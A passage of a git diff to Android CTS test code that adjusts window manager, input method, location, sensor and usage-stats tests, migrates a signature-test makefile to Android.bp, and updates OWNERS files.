-                    Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 0);
+                    Color.RED, screenshot.getPixel(unaffectedRedPixelX, y), 1);
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index c7755e0..9cf210e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -87,6 +87,7 @@
 
 import java.util.List;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * Build/Install/Run:
@@ -276,11 +277,13 @@
 
         assertEquals("The number of nav bars should be the same", expected.size(), result.size());
 
-        // Nav bars should show on the same displays
-        for (int i = 0; i < expected.size(); i++) {
-            final int expectedDisplayId = expected.get(i).getDisplayId();
-            mWmState.waitAndAssertNavBarShownOnDisplay(expectedDisplayId);
-        }
+        mWmState.getDisplays().forEach(displayContent -> {
+            List<WindowState> navWindows = expected.stream().filter(ws ->
+                    ws.getDisplayId() == displayContent.mId)
+                    .collect(Collectors.toList());
+
+            mWmState.waitAndAssertNavBarShownOnDisplay(displayContent.mId, navWindows.size());
+        });
     }
 
     // Secondary Home related tests
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index bd70052..a56b022 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -20,6 +20,8 @@
 import static android.app.UiModeManager.MODE_NIGHT_CUSTOM;
 import static android.app.UiModeManager.MODE_NIGHT_NO;
 import static android.app.UiModeManager.MODE_NIGHT_YES;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.ACTION_MAIN;
 import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -144,7 +146,19 @@
         // applied insets by system bars in AAOS.
         assumeFalse(isCar());
 
-        launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+        launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+        // The windowSplashScreenContent attribute is set to RED. We check that it is ignored.
+        testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE);
+    }
+
+    @Test
+    public void testSplashscreenContent_FreeformWindow() {
+        // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+        // applied insets by system bars in AAOS.
+        assumeFalse(isCar());
+        assumeTrue(supportsFreeform());
+
+        launchActivityNoWait(SPLASHSCREEN_ACTIVITY, WINDOWING_MODE_FREEFORM);
         // The windowSplashScreenContent attribute is set to RED. We check that it is ignored.
         testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.BLUE, Color.WHITE);
     }
@@ -153,6 +167,9 @@
         // Activity may not be launched yet even if app transition is in idle state.
         mWmState.waitForActivityState(name, STATE_RESUMED);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        boolean isFullscreen = mWmState.getTaskByActivity(name).isWindowingModeCompatible(
+                WINDOWING_MODE_FULLSCREEN);
+
         final Bitmap image = takeScreenshot();
         final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
         final Rect stableBounds = new Rect(windowMetrics.getBounds());
@@ -173,12 +190,9 @@
         Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top);
         Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom,
                 appBounds.right - insets.right, appBounds.bottom);
-        assertFalse("Top insets bounds rect is empty", topInsetsBounds.isEmpty());
-        assertFalse("Bottom insets bounds rect is empty", bottomInsetsBounds.isEmpty());
 
-        if (appBounds.isEmpty()) {
-            fail("Couldn't find splash screen bounds. Impossible to assert the colors");
-        }
+        assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors",
+                appBounds.isEmpty());
 
         // Use ratios to flexibly accommodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
@@ -191,8 +205,13 @@
 
         appBounds.intersect(stableBounds);
         assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect);
-        assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
-        assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
+        if (isFullscreen && !topInsetsBounds.isEmpty()) {
+            assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null);
+        }
+        if (isFullscreen && !bottomInsetsBounds.isEmpty()) {
+            assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f,
+                    null);
+        }
     }
 
     // For real devices, gamma correction might be applied on hardware driver, so the colors may
@@ -385,7 +404,20 @@
         // applied insets by system bars in AAOS.
         assumeFalse(isCar());
 
-        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, extraBool(DELAY_RESUME, true));
+        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                extraBool(DELAY_RESUME, true));
+        testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE);
+    }
+
+    @Test
+    public void testSetBackgroundColorActivity_FreeformWindow() {
+        // TODO(b/192431448): Allow Automotive to skip this test until Splash Screen is properly
+        // applied insets by system bars in AAOS.
+        assumeFalse(isCar());
+        assumeTrue(supportsFreeform());
+
+        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, WINDOWING_MODE_FREEFORM,
+                extraBool(DELAY_RESUME, true));
         testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.WHITE);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 0b42360..024ea17 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -290,7 +290,6 @@
                 DEFAULT_DISPLAY);
 
         final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession();
-        final int secondaryDisplayId = session.getDisplayId();
         final SecondaryActivity secondaryActivity = session.startActivityAndFocus();
         // Secondary display disconnected.
         session.close();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 388095c..ba34d17 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -83,6 +83,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.Objects;
 import java.util.function.Consumer;
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
@@ -966,17 +967,18 @@
                 .collect(Collectors.toList());
     }
 
-    WindowState getAndAssertSingleNavBarWindowOnDisplay(int displayId) {
-        List<WindowState> navWindow = getMatchingWindows(ws ->
-                WindowManagerState.isValidNavBarType(ws) && ws.getDisplayId() == displayId)
+    @Nullable
+    List<WindowState> getAndAssertNavBarWindowsOnDisplay(int displayId, int expectedNavBarCount) {
+        List<WindowState> navWindows = getMatchingWindows(ws -> isValidNavBarType(ws)
+                && ws.getDisplayId() == displayId)
+                .filter(Objects::nonNull)
                 .collect(Collectors.toList());
-
         // We may need some time to wait for nav bar showing.
-        // It's Ok to get 0 nav bar here.
-        assertTrue("There should be at most one navigation bar on a display",
-                navWindow.size() <= 1);
+        // It's Ok to get less that expected nav bars here.
+        assertTrue("There should be at most expectedNavBarCount navigation bar on a display",
+                navWindows.size() <= expectedNavBarCount);
 
-        return navWindow.isEmpty() ? null : navWindow.get(0);
+        return navWindows.size() == expectedNavBarCount ? navWindows : null;
     }
 
     WindowState getWindowStateForAppToken(String appToken) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 0a70d01..458d785 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -272,10 +272,17 @@
                 "app transition idle on Display " + displayId);
     }
 
-    public void waitAndAssertNavBarShownOnDisplay(int displayId) {
-        assertTrue(waitForWithAmState(
-                state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
-                "navigation bar #" + displayId + " show"));
+    void waitAndAssertNavBarShownOnDisplay(int displayId) {
+        waitAndAssertNavBarShownOnDisplay(displayId, 1 /* expectedNavBarCount */);
+    }
+
+    void waitAndAssertNavBarShownOnDisplay(int displayId, int expectedNavBarCount) {
+        assertTrue(waitForWithAmState(state -> {
+            List<WindowState> navWindows = state
+                    .getAndAssertNavBarWindowsOnDisplay(displayId, expectedNavBarCount);
+
+            return navWindows != null;
+        }, "navigation bar #" + displayId + " show"));
     }
 
     public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
index 9b1c836..5eaa32e 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
@@ -207,7 +207,7 @@
                 PackageManager.FEATURE_INPUT_METHODS));
         enableImes(MOCK_IME_ID, HIDDEN_FROM_PICKER_IME_ID);
 
-        TestActivity.startSync(activity -> {
+        final TestActivity testActivity = TestActivity.startSync(activity -> {
             final View view = new View(activity);
             view.setLayoutParams(new LayoutParams(
                     LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
@@ -222,8 +222,9 @@
 
         // Test InputMethodManager#showInputMethodPicker() works as expected.
         mImManager.showInputMethodPicker();
-        waitOnMainUntil(() -> mImManager.isInputMethodPickerShown(), TIMEOUT,
-                "InputMethod picker should be shown");
+        waitOnMainUntil(() -> mImManager.isInputMethodPickerShown()
+                        && !testActivity.hasWindowFocus(), TIMEOUT,
+                "InputMethod picker should be shown and test activity lost focus");
         final UiDevice uiDevice =
                 UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         assertThat(uiDevice.wait(Until.hasObject(By.text(MOCK_IME_LABEL)), TIMEOUT)).isTrue();
@@ -234,6 +235,8 @@
                 new Intent(ACTION_CLOSE_SYSTEM_DIALOGS).setFlags(FLAG_RECEIVER_FOREGROUND));
         waitOnMainUntil(() -> !mImManager.isInputMethodPickerShown(), TIMEOUT,
                 "InputMethod picker should be closed");
+        waitOnMainUntil(() -> testActivity.hasWindowFocus(), TIMEOUT,
+                "Activity should be focused after picker dismissed");
     }
 
     private void enableImes(String... ids) {
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index 1e9d3b4..ee9a713 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -367,12 +367,6 @@
                     "X > 0.0",
                     String.valueOf(correlationVector.getSamplingWidthMeters()),
                     correlationVector.getSamplingWidthMeters() > 0.0);
-            softAssert.assertTrue("frequency_offset_mps : "
-                    + "Offset of the first sampling bin in meters",
-                    timeInNs,
-                    "X >= 0.0",
-                    String.valueOf(correlationVector.getSamplingStartMeters()),
-                    correlationVector.getSamplingStartMeters() >= 0.0);
             softAssert.assertTrue("Magnitude count",
                     timeInNs,
                     "X > 0",
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
index 59c91c9..b4b62cc 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
@@ -30,6 +30,7 @@
 import android.location.Criteria;
 import android.location.LocationManager;
 import android.location.cts.common.ProximityPendingIntentCapture;
+import android.os.UserManager;
 import android.util.Log;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -100,6 +101,10 @@
 
     @Test
     public void testAddProximityAlert() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -173,6 +178,11 @@
 
     @Test
     public void testRemoveProximityAlert() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -206,6 +216,11 @@
 
     @Test
     public void testAddProximityAlert_StartProximate() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -227,6 +242,11 @@
 
     @Test
     public void testAddProximityAlert_Multiple() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -266,6 +286,11 @@
 
     @Test
     public void testAddProximityAlert_Expires() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -288,4 +313,8 @@
             assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
         }
     }
+
+    private boolean isNotSystemUser() {
+        return !mContext.getSystemService(UserManager.class).isSystemUser();
+    }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index dcaee4f..1be37c3 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -18,6 +18,7 @@
 
 import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
 import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+import static android.content.pm.PackageManager.FEATURE_TELEVISION;
 import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
 import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
 import static android.location.LocationManager.FUSED_PROVIDER;
@@ -264,8 +265,6 @@
 
     @Test
     public void testGetCurrentLocation_Timeout() throws Exception {
-        Location loc = createLocation(TEST_PROVIDER, mRandom);
-
         try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
             mManager.getCurrentLocation(
                     TEST_PROVIDER,
@@ -665,8 +664,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -725,8 +725,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -766,8 +767,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -1007,7 +1009,7 @@
 
     @Test
     public void testRequestFlush_Gnss() throws Exception {
-        assumeTrue(mManager.getAllProviders().contains(GPS_PROVIDER));
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
             mManager.requestLocationUpdates(GPS_PROVIDER, 0, 0,
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
index 00c6770..d0be114 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
@@ -106,7 +106,7 @@
         correlationVectors.add(
                 new CorrelationVector.Builder()
                         .setSamplingWidthMeters(30d)
-                        .setSamplingStartMeters(20d)
+                        .setSamplingStartMeters(-20d)
                         .setFrequencyOffsetMetersPerSecond(20d)
                         .setMagnitude(new int[] {0, 3000, 5000, 3000, 0, 0, 1000, 0})
                         .build());
diff --git a/tests/mediapc/OWNERS b/tests/mediapc/OWNERS
index d61c4a2..091c4df 100644
--- a/tests/mediapc/OWNERS
+++ b/tests/mediapc/OWNERS
@@ -1,6 +1,7 @@
 # Bug component: 1344
 # include media developers and framework video team
 include platform/frameworks/av:/media/OWNERS
+chz@google.com
 dichenzhang@google.com
 essick@google.com
 gokrishnan@google.com
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index 597496e..366e148 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -247,7 +247,7 @@
             sb.append("(");
         }
         for (int i = 0; i < array.length; i++) {
-            sb.append(String.format("%.2f", array[i]));
+            sb.append(String.format("%.8f", array[i]));
             if (i != array.length - 1) {
                 sb.append(", ");
             }
diff --git a/tests/signature/api-check/shared-libs-api/Android.bp b/tests/signature/api-check/shared-libs-api/Android.bp
index 7d2b3c4..e984ccd 100644
--- a/tests/signature/api-check/shared-libs-api/Android.bp
+++ b/tests/signature/api-check/shared-libs-api/Android.bp
@@ -26,3 +26,55 @@
         "compatibility-device-util-axt",
     ],
 }
+
+android_test {
+    name: "CtsSharedLibsApiSignatureTestCases",
+    defaults: ["cts_defaults"],
+    java_resources: [
+        ":CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all.api",
+    ],
+    static_libs: [
+        "cts-api-signature-multilib-test",
+        "cts-api-signature-test",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    jni_libs: ["libclassdescriptors"],
+    compile_multilib: "both",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    use_embedded_native_libs: false,
+    srcs: ["src/**/*.java"],
+}
+
+genrule {
+    name: "CtsSharedLibsApiSignatureTestCases_cts-shared-libs-all.api",
+    srcs: [
+        ":prebuilt_sdk_system_public_api_txt",
+    ],
+    tools: [
+        "soong_zip",
+        "metalava",
+    ],
+    out: [
+        "shared-libs-all.api.zip",
+    ],
+    cmd: "for f in $(in); do " +
+        "  fileName=$$(basename $${f} .txt) && " +
+        "  if [ $${fileName} == android ] || [[ $${fileName} =~ removed ]] || [[ $${fileName} =~ incompatibilities ]]; " +
+        "    then continue; fi && " +
+        "  platformSdkVersion=$$(echo $${f} | awk -F/ '{print $$(3)}') && " +
+        "  if [ $${platformSdkVersion} -lt 28 ]; then continue; fi && " +
+        "  apiLevel=$$(echo $${f} | awk -F/ '{print $$(4)}') && " +
+        "  $(location metalava) -J--add-opens=java.base/java.util=ALL-UNNAMED --no-banner " +
+        "    -convert2xmlnostrip $${f} $(genDir)/list/$${fileName}-$${platformSdkVersion}-$${apiLevel}.api; " +
+        "done && " +
+        "$(location soong_zip) -o $(out) -C $(genDir)/list -D $(genDir)/list",
+}
\ No newline at end of file
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
deleted file mode 100644
index c0f072a..0000000
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ /dev/null
@@ -1,62 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-all_shared_libs_modules :=
-
-$(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
-  $(foreach api_level,public system,\
-    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out %incompatibilities,\
-      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
-        $(eval all_shared_libs_modules += $(lib)-$(ver)-$(api_level).api))))
-
-all_shared_libs_files := $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(all_shared_libs_modules))
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-shared-libs-all.api
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_STEM := shared-libs-all.api.zip
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-include $(BUILD_SYSTEM)/base_rules.mk
-$(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
-$(LOCAL_BUILT_MODULE): PRIVATE_SHARED_LIBS_FILES := $(all_shared_libs_files)
-$(LOCAL_BUILT_MODULE): $(all_shared_libs_files)
-	@echo "Zip API files $^ -> $@"
-	@mkdir -p $(dir $@)
-	$(hide) rm -f $@
-	$(hide) $(SOONG_ZIP) -o $@ -P out -C $(OUT_DIR) $(addprefix -f ,$(PRIVATE_SHARED_LIBS_FILES))
-
-all_shared_libs_zip_file := $(LOCAL_BUILT_MODULE)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSharedLibsApiSignatureTestCases
-
-LOCAL_JAVA_RESOURCE_FILES := $(all_shared_libs_zip_file)
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-multilib-test
-
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-include $(LOCAL_PATH)/../build_signature_apk.mk
-
-LOCAL_JAVA_SDK_LIBRARIES :=
-all_shared_libs_files :=
-all_shared_libs_modules :=
-all_shared_libs_zip_file :=
diff --git a/tests/smartspace/OWNERS b/tests/smartspace/OWNERS
index eef1444..4a61d75 100644
--- a/tests/smartspace/OWNERS
+++ b/tests/smartspace/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 487497
 srazdan@google.com
+alexmang@google.com
diff --git a/tests/tests/accounts/OWNERS b/tests/tests/accounts/OWNERS
index d486f4c..695530b 100644
--- a/tests/tests/accounts/OWNERS
+++ b/tests/tests/accounts/OWNERS
@@ -2,3 +2,4 @@
 carlosvaldivia@google.com
 dementyev@google.com
 sandrakwan@google.com
+aseemk@google.com
diff --git a/tests/tests/activityrecognition/OWNERS b/tests/tests/activityrecognition/OWNERS
index 7d995f5..febd665 100644
--- a/tests/tests/activityrecognition/OWNERS
+++ b/tests/tests/activityrecognition/OWNERS
@@ -1,6 +1,7 @@
 # Bug component: 137825
 svetoslavganov@google.com
 zhanghai@google.com
+eugenesusla@google.com
 evanseverson@google.com
 ntmyren@google.com
 ewol@google.com
diff --git a/tests/tests/app.usage/OWNERS b/tests/tests/app.usage/OWNERS
index 6cf0d94..c81bc52 100644
--- a/tests/tests/app.usage/OWNERS
+++ b/tests/tests/app.usage/OWNERS
@@ -2,5 +2,5 @@
 mwachens@google.com
 varunshah@google.com
 yamasani@google.com
-per-file NetworkUsageStatsTest.java = lorenzo@google.com,satk@google.com
+per-file NetworkUsageStatsTest.java = file:/tests/tests/net/OWNERS
 per-file CacheQuotaHintTest.java = lpeter@google.com
diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
index 1cb7e1f..06ddfad 100644
--- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml
+++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
@@ -28,5 +28,12 @@
         <service android:name=".TestService"
                   android:exported="true"
         />
+        <receiver android:name=".TestBroadcastReceiver"
+                  android:exported="true"
+        />
+        <provider android:name=".TestContentProvider"
+            android:authorities="android.app.usage.cts.test1.provider"
+            android:exported="true"
+        />
     </application>
 </manifest>
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java
new file mode 100644
index 0000000..cfa7e2f
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestBroadcastReceiver.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public final class TestBroadcastReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {}
+}
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java
new file mode 100644
index 0000000..8852e9b
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/TestContentProvider.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+public final class TestContentProvider extends ContentProvider {
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Nullable
+    @Override
+    public Cursor query(@NonNull Uri uri, @Nullable String[] projection, @Nullable String selection,
+            @Nullable String[] selectionArgs, @Nullable String sortOrder) {
+        MatrixCursor cursor = new MatrixCursor(new String[]{"Test"}, 0);
+        return cursor;
+    }
+
+    @Nullable
+    @Override
+    public String getType(@NonNull Uri uri) {
+        return null;
+    }
+
+    @Nullable
+    @Override
+    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(@NonNull Uri uri, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(@NonNull Uri uri, @Nullable ContentValues values, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index f90bd5d..a20a8f9 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -38,11 +38,15 @@
 import android.app.usage.UsageEvents.Event;
 import android.app.usage.UsageStats;
 import android.app.usage.UsageStatsManager;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
+import android.content.ContentProviderClient;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.SystemClock;
@@ -83,6 +87,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
